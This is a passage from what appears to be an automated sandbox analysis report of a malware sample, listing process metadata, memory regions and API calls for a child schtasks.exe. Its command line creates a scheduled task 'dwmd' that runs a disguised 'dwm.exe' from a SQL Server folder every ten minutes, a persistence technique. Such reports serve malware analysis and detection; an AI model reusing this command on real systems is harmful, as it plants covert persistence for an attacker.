strNetworkResource="root\\wmi", strUser=0x0, strPassword=0x0, strLocale=0x0, lSecurityFlags=64, strAuthority=0x0, pCtx=0x17ffeea49a0, ppNamespace=0x17fff691dc8 | out: ppNamespace=0x17fff691dc8*=0x17ffee9bf30) returned 0x0 [0251.094] WbemLocator:IUnknown:Release (This=0x17ffeec1600) returned 0x0 [0251.094] RtlTryEnterCriticalSection (CriticalSection=0x7ffa70366da8) returned 1 Thread: id = 127 os_tid = 0x20c Thread: id = 128 os_tid = 0xadc Thread: id = 358 os_tid = 0x104c Process: id = "5" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x338d2000" os_pid = "0x117c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x1120" cmd_line = "schtasks.exe /create /tn \"dwmd\" /sc MINUTE /mo 10 /tr \"'C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe'\" /f" cur_dir = "C:\\Windows\\system32\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fdef" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2276 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2277 start_va = 0xcd086f0000 end_va = 0xcd0876ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000cd086f0000" filename = "" Region: id = 2278 start_va = 0xcd08800000 end_va = 0xcd089fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000cd08800000" filename = "" Region: id = 2279 start_va = 0x2008f2b0000 end_va = 0x2008f2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002008f2b0000" filename = "" Region: id = 2280 start_va = 0x2008f2d0000 end_va = 0x2008f2e4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002008f2d0000" filename = "" Region: id = 2281 start_va = 0x2008f2f0000 end_va = 0x2008f2f3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002008f2f0000" filename = "" Region: id = 2282 start_va = 0x2008f300000 end_va = 0x2008f300fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002008f300000" filename = "" Region: id = 2283 start_va = 0x2008f310000 end_va = 0x2008f311fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002008f310000" filename = "" Region: id = 2284 start_va = 0x7df5ff820000 end_va = 0x7ff5ff81ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ff820000" filename = "" Region: id = 2285 start_va = 0x7ff684e00000 end_va = 0x7ff684e22fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff684e00000" filename = "" Region: id = 2286 start_va = 0x7ff685110000 end_va = 0x7ff68514cfff monitored = 1 entry_point = 0x7ff685134550 region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 2287 start_va = 0x7ffa7be80000 end_va = 0x7ffa7c040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2290 start_va = 0x2008f320000 end_va = 0x2008f54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002008f320000" filename = "" Region: id = 2291 start_va = 0x7ffa7a9a0000 end_va = 0x7ffa7aa4cfff monitored = 0 entry_point = 0x7ffa7a9b81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2292 start_va = 0x7ffa789b0000 end_va = 0x7ffa78b97fff monitored = 0 entry_point = 0x7ffa789dba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2293 start_va = 0x2008f2b0000 end_va = 0x2008f2bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002008f2b0000" filename = "" Region: id = 2294 start_va = 0x7ff684d00000 end_va = 0x7ff684dfffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff684d00000" filename = "" Region: id = 2295 start_va = 0x2008f320000 end_va = 0x2008f3ddfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2296 start_va = 0x2008f450000 end_va = 0x2008f54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002008f450000" filename = "" Region: id = 2297 start_va = 0x7ffa79390000 end_va = 0x7ffa7942cfff monitored = 0 entry_point = 0x7ffa793978a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2298 start_va = 0xcd08770000 end_va = 0xcd087effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000cd08770000" filename = "" Region: id = 2299 start_va = 0x7ffa7bd00000 end_va = 0x7ffa7bdc0fff monitored = 0 entry_point = 0x7ffa7bd20da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2300 start_va = 0x7ffa7b8d0000 end_va = 0x7ffa7bb4cfff monitored = 0 entry_point = 0x7ffa7b9a4970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 2301 start_va = 0x7ffa7aa50000 end_va = 0x7ffa7ab6bfff monitored = 0 entry_point = 0x7ffa7aa902b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2302 start_va = 0x7ffa78650000 end_va = 0x7ffa786b9fff monitored = 0 entry_point = 0x7ffa78686d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 2303 start_va = 0x2008f550000 end_va = 0x2008f66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002008f550000" filename = "" Region: id = 2304 start_va = 0x2008f2c0000 end_va = 0x2008f2c6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002008f2c0000" filename = "" Region: id = 2305 start_va = 0x2008f670000 end_va = 0x2008f7b2fff monitored = 0 entry_point = 0x2008f698210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2306 start_va = 0x2008f3e0000 end_va = 0x2008f3e6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002008f3e0000" filename = "" Region: id = 2307 start_va = 0x2008f3f0000 end_va = 0x2008f402fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 2308 start_va = 0x2008f670000 end_va = 0x2008f9a6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2309 start_va = 0x2008f550000 end_va = 0x2008f62cfff monitored = 0 entry_point = 0x2008f5ae0b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2310 start_va = 0x2008f660000 end_va = 0x2008f66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002008f660000" filename = "" Region: id = 2311 start_va = 0x7ffa784d0000 end_va = 0x7ffa784defff monitored = 0 entry_point = 0x7ffa784d3210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 2312 start_va = 0x7ffa7abc0000 end_va = 0x7ffa7ad15fff monitored = 0 entry_point = 0x7ffa7abca8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2313 start_va = 0x7ffa7bb50000 end_va = 0x7ffa7bcd5fff monitored = 0 entry_point = 0x7ffa7bb9ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2314 start_va = 0x2008f410000 end_va = 0x2008f448fff monitored = 0 entry_point = 0x2008f4112f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2315 start_va = 0x2008f9b0000 end_va = 0x2008fb37fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002008f9b0000" filename = "" Region: id = 2316 start_va = 0x7ffa7ab70000 end_va = 0x7ffa7abaafff monitored = 0 entry_point = 0x7ffa7ab712f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2317 start_va = 0x2008f410000 end_va = 0x2008f410fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002008f410000" filename = "" Region: id = 2318 start_va = 0x2008f420000 end_va = 0x2008f420fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002008f420000" filename = "" Region: id = 2319 start_va = 0x2008fb40000 end_va = 0x2008fcc0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002008fb40000" filename = "" Region: id = 2320 start_va = 0x2008fcd0000 end_va = 0x200910cffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002008fcd0000" filename = "" Region: id = 2321 start_va = 0x7ffa7ad20000 end_va = 0x7ffa7ad7afff monitored = 0 entry_point = 0x7ffa7ad338b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2322 start_va = 0x2008f430000 end_va = 0x2008f430fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002008f430000" filename = "" Region: id = 2323 start_va = 0x7ffa7b7c0000 end_va = 0x7ffa7b866fff monitored = 0 entry_point = 0x7ffa7b7cb4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2324 start_va = 0x2008f440000 end_va = 0x2008f440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002008f440000" filename = "" Region: id = 2325 start_va = 0x7ffa754c0000 end_va = 0x7ffa7557efff monitored = 0 entry_point = 0x7ffa754e1c50 region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 2326 start_va = 0x7ffa78120000 end_va = 0x7ffa7814cfff monitored = 0 entry_point = 0x7ffa78139d40 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2327 start_va = 0x7ffa74cc0000 end_va = 0x7ffa74cf5fff monitored = 0 entry_point = 0x7ffa74cd0070 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 132 os_tid = 0x118c [0105.092] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff685110000 [0105.092] __set_app_type (_Type=0x1) [0105.092] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff6851348d0) returned 0x0 [0105.092] __wgetmainargs (in: _Argc=0x7ff685147ff8, _Argv=0x7ff685148000, _Env=0x7ff685148008, _DoWildCard=0, _StartInfo=0x7ff685148014 | out: _Argc=0x7ff685147ff8, _Argv=0x7ff685148000, _Env=0x7ff685148008) returned 0 [0105.093] _onexit (_Func=0x7ff685137ec0) returned 0x7ff685137ec0 [0105.093] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0105.093] CsrIdentifyAlertableThread () returned 0x0 [0105.094] GetProcessHeap () returned 0x2008f450000 [0105.094] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x18) returned 0x2008f456090 [0105.094] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.094] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0105.094] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0105.094] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0105.094] RtlVerifyVersionInfo (VersionInfo=0xcd0876f730, TypeMask=0x3, ConditionMask=0x800000000001801b) returned 0x0 [0105.094] GetProcessHeap () returned 0x2008f450000 [0105.094] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x18) returned 0x2008f4560b0 [0105.094] lstrlenW (lpString="") returned 0 [0105.094] GetProcessHeap () returned 0x2008f450000 [0105.094] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x2) returned 0x2008f454a40 [0105.094] GetProcessHeap () returned 0x2008f450000 [0105.094] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x20) returned 0x2008f454a60 [0105.094] GetProcessHeap () returned 0x2008f450000 [0105.094] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x18) returned 0x2008f454a90 [0105.094] GetProcessHeap () returned 0x2008f450000 [0105.094] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x20) returned 0x2008f4543f0 [0105.094] GetProcessHeap () returned 0x2008f450000 [0105.094] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x20) returned 0x2008f454420 [0105.095] GetProcessHeap () returned 0x2008f450000 [0105.095] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x20) returned 0x2008f454450 [0105.095] GetProcessHeap () returned 0x2008f450000 [0105.095] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x20) returned 0x2008f459140 [0105.095] GetProcessHeap () returned 0x2008f450000 [0105.095] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x18) returned 0x2008f454480 [0105.095] GetProcessHeap () returned 0x2008f450000 [0105.095] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x20) returned 0x2008f458fc0 [0105.096] GetProcessHeap () returned 0x2008f450000 [0105.096] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x20) returned 0x2008f4590b0 [0105.096] GetProcessHeap () returned 0x2008f450000 [0105.096] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x20) returned 0x2008f4591d0 [0105.096] GetProcessHeap () returned 0x2008f450000 [0105.096] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x20) returned 0x2008f458f60 [0105.096] GetProcessHeap () returned 0x2008f450000 [0105.096] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x18) returned 0x2008f453fe0 [0105.096] GetProcessHeap () returned 0x2008f450000 [0105.096] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x20) returned 0x2008f459020 [0105.096] GetProcessHeap () returned 0x2008f450000 [0105.096] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x20) returned 0x2008f4590e0 [0105.096] GetProcessHeap () returned 0x2008f450000 [0105.096] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x20) returned 0x2008f458f30 [0105.096] GetProcessHeap () returned 0x2008f450000 [0105.096] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x20) returned 0x2008f459200 [0105.096] SetThreadUILanguage (LangId=0x0) returned 0x409 [0105.098] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.098] GetProcessHeap () returned 0x2008f450000 [0105.098] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x20) returned 0x2008f458ff0 [0105.098] GetProcessHeap () returned 0x2008f450000 [0105.098] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x20) returned 0x2008f459080 [0105.098] GetProcessHeap () returned 0x2008f450000 [0105.098] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x20) returned 0x2008f459170 [0105.098] GetProcessHeap () returned 0x2008f450000 [0105.098] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x20) returned 0x2008f459050 [0105.098] GetProcessHeap () returned 0x2008f450000 [0105.098] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x20) returned 0x2008f459110 [0105.098] GetProcessHeap () returned 0x2008f450000 [0105.099] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x18) returned 0x2008f454790 [0105.099] _memicmp (_Buf1=0x2008f454790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.099] GetProcessHeap () returned 0x2008f450000 [0105.099] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x208) returned 0x2008f459b70 [0105.099] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2008f459b70, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0105.099] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0xcd0876f888 | out: lpdwHandle=0xcd0876f888) returned 0x76c [0105.102] GetProcessHeap () returned 0x2008f450000 [0105.102] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x776) returned 0x2008f45a8e0 [0105.102] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x776, lpData=0x2008f45a8e0 | out: lpData=0x2008f45a8e0) returned 1 [0105.102] VerQueryValueW (in: pBlock=0x2008f45a8e0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xcd0876f820, puLen=0xcd0876f880 | out: lplpBuffer=0xcd0876f820*=0x2008f45ac90, puLen=0xcd0876f880) returned 1 [0105.106] _memicmp (_Buf1=0x2008f454790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.106] _vsnwprintf (in: _Buffer=0x2008f459b70, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xcd0876f7f8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0105.106] VerQueryValueW (in: pBlock=0x2008f45a8e0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xcd0876f810, puLen=0xcd0876f878 | out: lplpBuffer=0xcd0876f810*=0x2008f45aac0, puLen=0xcd0876f878) returned 1 [0105.106] lstrlenW (lpString="schtasks.exe") returned 12 [0105.106] lstrlenW (lpString="schtasks.exe") returned 12 [0105.106] lstrlenW (lpString=".EXE") returned 4 [0105.106] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0105.110] lstrlenW (lpString="schtasks.exe") returned 12 [0105.110] lstrlenW (lpString=".EXE") returned 4 [0105.110] _memicmp (_Buf1=0x2008f454790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.110] lstrlenW (lpString="schtasks") returned 8 [0105.110] GetProcessHeap () returned 0x2008f450000 [0105.110] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x20) returned 0x2008f459230 [0105.110] GetProcessHeap () returned 0x2008f450000 [0105.110] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x20) returned 0x2008f458f00 [0105.110] GetProcessHeap () returned 0x2008f450000 [0105.110] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x20) returned 0x2008f45b870 [0105.110] GetProcessHeap () returned 0x2008f450000 [0105.110] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x20) returned 0x2008f45ba80 [0105.110] GetProcessHeap () returned 0x2008f450000 [0105.110] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x18) returned 0x2008f454820 [0105.110] _memicmp (_Buf1=0x2008f454820, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.110] GetProcessHeap () returned 0x2008f450000 [0105.110] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0xa0) returned 0x2008f453e90 [0105.110] GetProcessHeap () returned 0x2008f450000 [0105.110] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x20) returned 0x2008f45b6c0 [0105.110] GetProcessHeap () returned 0x2008f450000 [0105.110] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x20) returned 0x2008f45b780 [0105.110] GetProcessHeap () returned 0x2008f450000 [0105.110] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x20) returned 0x2008f45b990 [0105.111] GetProcessHeap () returned 0x2008f450000 [0105.111] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x18) returned 0x2008f454840 [0105.111] _memicmp (_Buf1=0x2008f454840, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.111] GetProcessHeap () returned 0x2008f450000 [0105.111] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x200) returned 0x2008f45bbb0 [0105.111] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x2008f45bbb0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0105.111] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0105.111] GetProcessHeap () returned 0x2008f450000 [0105.111] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x30) returned 0x2008f453880 [0105.111] _vsnwprintf (in: _Buffer=0x2008f453e90, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xcd0876f7f8 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0105.111] GetProcessHeap () returned 0x2008f450000 [0105.111] GetProcessHeap () returned 0x2008f450000 [0105.111] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f45a8e0) returned 1 [0105.111] GetProcessHeap () returned 0x2008f450000 [0105.111] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f45a8e0) returned 0x776 [0105.112] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f45a8e0) returned 1 [0105.112] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.112] GetThreadLocale () returned 0x409 [0105.112] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0105.112] lstrlenW (lpString="?") returned 1 [0105.112] GetThreadLocale () returned 0x409 [0105.112] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0105.113] lstrlenW (lpString="create") returned 6 [0105.113] GetThreadLocale () returned 0x409 [0105.113] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0105.113] lstrlenW (lpString="delete") returned 6 [0105.113] GetThreadLocale () returned 0x409 [0105.113] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0105.113] lstrlenW (lpString="query") returned 5 [0105.113] GetThreadLocale () returned 0x409 [0105.113] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0105.113] lstrlenW (lpString="change") returned 6 [0105.113] GetThreadLocale () returned 0x409 [0105.113] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0105.113] lstrlenW (lpString="run") returned 3 [0105.113] GetThreadLocale () returned 0x409 [0105.113] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0105.113] lstrlenW (lpString="end") returned 3 [0105.113] GetThreadLocale () returned 0x409 [0105.113] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0105.113] lstrlenW (lpString="showsid") returned 7 [0105.113] GetThreadLocale () returned 0x409 [0105.113] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0105.113] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.113] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.113] lstrlenW (lpString="/create") returned 7 [0105.113] lstrlenW (lpString="-/") returned 2 [0105.113] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0105.113] lstrlenW (lpString="?") returned 1 [0105.113] lstrlenW (lpString="?") returned 1 [0105.113] GetProcessHeap () returned 0x2008f450000 [0105.113] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x18) returned 0x2008f453f60 [0105.114] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.114] GetProcessHeap () returned 0x2008f450000 [0105.114] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0xa) returned 0x2008f4538c0 [0105.114] lstrlenW (lpString="create") returned 6 [0105.114] GetProcessHeap () returned 0x2008f450000 [0105.114] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x18) returned 0x2008f4538e0 [0105.114] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.114] GetProcessHeap () returned 0x2008f450000 [0105.114] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x14) returned 0x2008f453900 [0105.114] _vsnwprintf (in: _Buffer=0x2008f4538c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|?|") returned 3 [0105.114] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|create|") returned 8 [0105.114] lstrlenW (lpString="|?|") returned 3 [0105.114] lstrlenW (lpString="|create|") returned 8 [0105.114] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.114] lstrlenW (lpString="create") returned 6 [0105.114] lstrlenW (lpString="create") returned 6 [0105.114] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.114] GetProcessHeap () returned 0x2008f450000 [0105.114] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f4538c0) returned 1 [0105.114] GetProcessHeap () returned 0x2008f450000 [0105.114] RtlReAllocateHeap (Heap=0x2008f450000, Flags=0xc, Ptr=0x2008f4538c0, Size=0x14) returned 0x2008f453920 [0105.114] lstrlenW (lpString="create") returned 6 [0105.114] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.114] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|create|") returned 8 [0105.114] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|create|") returned 8 [0105.114] lstrlenW (lpString="|create|") returned 8 [0105.114] lstrlenW (lpString="|create|") returned 8 [0105.114] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0105.114] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.115] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.115] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.115] lstrlenW (lpString="/tn") returned 3 [0105.115] lstrlenW (lpString="-/") returned 2 [0105.115] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0105.115] lstrlenW (lpString="?") returned 1 [0105.115] lstrlenW (lpString="?") returned 1 